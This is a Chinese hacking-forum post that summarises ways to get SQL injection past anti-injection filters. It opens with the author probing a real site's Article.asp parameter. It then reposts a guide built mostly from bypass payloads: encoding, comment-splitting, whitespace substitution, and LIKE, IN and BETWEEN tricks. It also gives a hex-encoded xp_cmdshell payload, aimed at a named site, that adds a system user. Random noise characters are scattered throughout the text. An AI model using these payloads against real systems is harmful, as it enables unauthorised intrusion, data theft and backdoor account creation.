中国网络渗透测试联盟

标题: 饶过防注入系统方法总结 [打印本页]

作者: admin    时间: 2012-9-15 14:47
标题: 饶过防注入系统方法总结
路过这个网站,检测了一下.
' y& j' }' s+ x- D% yhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
  J- B9 o$ G6 [$ V% X0 Y) Y直接返回主页4 Z6 ]  m4 r# R" U  q
http://www.xxx.cn/Article.asp?ID=117 or 1=1
  o5 g" t1 @- [9 y直接返回主页
0 g3 n/ y, B; i1 qhttp://www.xxx.cn/Article.asp?ID=117 or
4 e: q: N( A0 j  u2 w; B没有返回主页 没有过滤or: ~* w" E! Q  _2 m
http://www.xxx.cn/Article.asp?ID=117 and# e8 z* n) a6 P/ S  I4 L
直接返回主页 看来过滤了and
/ h- ~+ g+ A. ~; u9 X4 Z1 Shttp://www.xxx.cn/Article.asp?ID=117 or 1
" l: L/ o; f$ R没有返回主页 即没有过滤or 也没有过滤1
  S; a9 |0 F- D( d+ @1 v6 Hhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
8 K/ f2 F+ W# w# d直接返回主页 很明显过滤了等号 " y7 @& u& q( q8 M: \0 Q
or的特性是与and相反的.# _- X9 V2 K) e' u5 V
or 1=1 爆错 或与原页面不同4 `; P; q# {) Z  ^2 e5 ^
or 1=2 原页面相同3 c1 y6 ~( a6 C7 p9 w
这样就是一个注入点4 l+ O9 A  s2 z: `0 Q/ a7 I% }& T
但他过滤了=号 我就用><号代替=号吧!! p# n  E3 f9 M. B
or 1<2 很明显是正确的,所以应该与原页面不同$ t" b6 I3 z3 _: x4 n. y2 r
or 1>2 很明显是错误的,所以应该与原页面相同
8 ^5 f" d8 b2 V: ~7 K) p, e+ i然后看看有没有过滤其他的查询语句,比如select.
* J- f1 D! G. a4 Q. t& Z) t6 c( }http://www.xxx.cn/Article.asp?ID=117 select1 t: n! k0 C3 g: b
直接返回主页! w1 {# k* P0 Q+ P6 ?/ ^3 y- t
又迷茫了..
( D0 k7 ?3 e0 s7 a6 E& e' G+ x
" a- D+ s" C: {" y" X( F+ d
) G% K/ \9 A* w( U1 pcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
: V. D' T; w" c* }& C  n这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)& G, f) Q6 ]5 ~, R1 U
================================================1 x5 }2 m9 |* n* l6 u/ c
以下是转贴:
& s/ l* N& S2 l" V3 `2 R: c7 v. `1 C. W% N( x5 a
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… % e8 @" R/ u' Z9 P& Y1 ?) Q
经过我的收集,大部分的防注入程序都过滤了以下关键字: ) z# A% T# y, M7 K1 t9 m
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
  ?+ [  q  c5 u而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 + C& `& x1 i' i
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
/ z5 ]. g! K% @$ K. n% g7 ]1、运用编码技术绕过
* }5 P4 f: z/ S7 t/ v如URLEncode编码,ASCII编码绕过。例如or 1=1即 9 b+ n# f  F% H3 v+ r( z6 ^
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
6 r: P1 V' M; V0 T- z9 `9 {" r/ h1 p+ v
2、通过空格绕过
% Z; B5 G5 a- o( l! l8 U如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ) Z, t+ J% O1 \1 {
or’ swords’ =‘swords’
, ^" v! g: ], p# `! Y+ [% v8 L,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 ; W8 Z, y4 M8 @6 L8 p. X. @2 W$ o* y
3、运用字符串判断代替   _3 D' f9 W5 O5 |0 I
用经典的or 1=1判断绕过,如 , \0 `0 C! R: b0 l3 N
or ’swords’ =’swords’ & `# I6 P4 Y- u- E) b. [  V
,这个方法就是网上在讨论的。
1 ?* r8 T; e, o# Y; ?. c/ m4、通过类型转换修饰符N绕过
  V" [  [# A2 w# W可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 9 y' w- j* r+ L7 Z! ~0 J
5、通过+号拆解字符串绕过
& H; j2 l& J& ]: L$ |( |效果值得考证,但毕竟是一种方法。如
& y5 n, C( B+ }4 ]9 Dor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
8 h' s3 j, T) J/ u6 D9 h+ l# K: t1 D! e$ Z1 c4 A: q4 U3 b1 |" `
6、通过LIKE绕过 * i. y6 @' \/ C2 H  k
以前怎么就没想到呢?如or
, h0 O) H) l# Y5 G’swords’ LIKE ’sw’ 0 N" Q' ^* c2 O5 T
!!!显然可以很轻松的绕过 % l5 _# n1 G& p* V! M0 W2 X9 u
“=”“>”
  L5 z# J! O8 U的限制…… : H9 x- k7 [* N# w& }$ U: C
7、通过IN绕过
5 Q$ ?' Z* t+ ^9 O4 o+ N$ Y与上面的LIKE的思路差不多,如 1 h0 s5 d- R: H/ v3 `% g" Q# ?) T1 {
or ’swords’ IN (’swords’)
) t, _% h4 Y' [0 j4 Z0 z8 @9 A
, Z. @# Y( l/ d* D; e1 ^8、通过BETWEEN绕过
# I8 d4 B0 G& l4 t! c! f* [: F
" d# q7 Y$ }4 {6 M3 a4 g: gor ’swords’ BETWEEN ’rw’ AND ’tw’ ) H# G2 W; e: x2 [, B, p

9 t- L  y* p" i6 @9、通过>或者<绕过
, C0 g# x5 c6 B/ g. i- j) G; W0 Xor ’swords’ > ’sw’
* l! `3 r2 D- ?% v6 J! ^+ w. sor ’swords’ < ’tw’ 8 u% g% D) I3 b6 v. z
or 1<3
  n+ L% a: D  E# N/ A- Y……
0 q- ~+ A. y! g5 H10、运用注释语句绕过
1 c! C  W' o1 J0 _- ]! M用/**/代替空格,如:
/ X/ t9 @: n. a) N1 b- x4 TUNION /**/ Select /**/user,pwd,from tbluser
) ]" S7 v9 V! D( p) n
, V$ G5 I3 O; V8 f% ~! z1 |用/**/分割敏感词,如:
, J$ P7 ~+ y5 i5 l: B3 H( HU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser . [6 o2 l% k5 F2 p5 A/ R

9 A; N3 e# ]; Z* R# f11、用HEX绕过,一般的IDS都无法检测出来
. ^  S. u" r& W/ Y0x730079007300610064006D0069006E00 =hex(sysadmin)
6 ]' D+ C* V1 b% u8 J0x640062005F006F0077006E0065007200 =hex(db_owner)
, B3 R. m& n0 b" \% R6 @另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
2 O' c. r& k$ z, r/ D# Y+ g/ j  declare @a sysname 3 q! l7 E' ^7 B) V2 q5 `
  select @a=
% J! E+ }  P1 H9 _$ D  exec master.dbo.xp_cmdshell @a   W5 K$ c  r/ ~7 [' I
效果
$ F9 o* [+ `; R) Jhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
+ d, M. s: b9 a# Y1 J6 I5 U% O. \) P6 _8 I# u5 d0 g
其中的
5 B  N# e: @% ?) k9 Z0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 * P/ I) E* t2 I, A- J
就是 : S" x: L$ O( y# ^: q" Z
“net user angel pass /add”
/ }' w7 |/ R# P' Q2 O0 M, q$ a* U( K5 ]
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
0 [7 `3 v$ p6 q" w引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。$ p4 v( f/ e( s; \7 F( ~% w! ], u9 A
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似# k3 b" a# `9 a4 R" W, g
Copy code
/ H! @( p! p) r- i  [select * from table exec xp_cmdshell'xxxxxxxxxx'
6 Q- @( O% B6 H5 `  f
3 }# Z) o! K6 X9 @: s5 V
3 S% y. ~) F$ Wselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'. j. y1 N9 w- n8 C+ Z7 C4 _4 e

7 T, Z' c9 E7 B' m3 Y* M6 N( C
$ g2 l1 k5 m: O7 mselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
: s; Y/ j  S: H" u1 {
+ J7 |3 z, ?& z7 o; n, k7 z) ~' L7 R) F
% V& O" p: g5 }) f1 Z7 d  s: q$ Nselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'% U# h# Z2 o% \5 h7 Z; P

$ l" X9 H: h: W, m) ]/ |. v的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?7 y' h  q8 b) y% E2 {: m
1 i5 n5 Q. H0 a* I5 q- q. a' [  F
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
) X' C8 Z3 I$ E: E/ u3 P* w可能大家早就知道了,不管怎么说,发在这里吧!
  C5 Q6 x9 B4 k: i$ |" T
6 n9 c1 t4 `3 X# y9 [0 ?最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。) s9 s5 ~/ n' W( G
# h& D: a( M0 d; l' L

7 A3 q2 l  e: O$ s  S- a! s" a- ^  l8 g- ~8 A' N) L& B8 r
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
- J! U& S" e' |1 v. c( @/ {比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
" P( s; A7 |% l8 l+ W8 d$ Y8 M) T- E- O8 J# d3 P





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2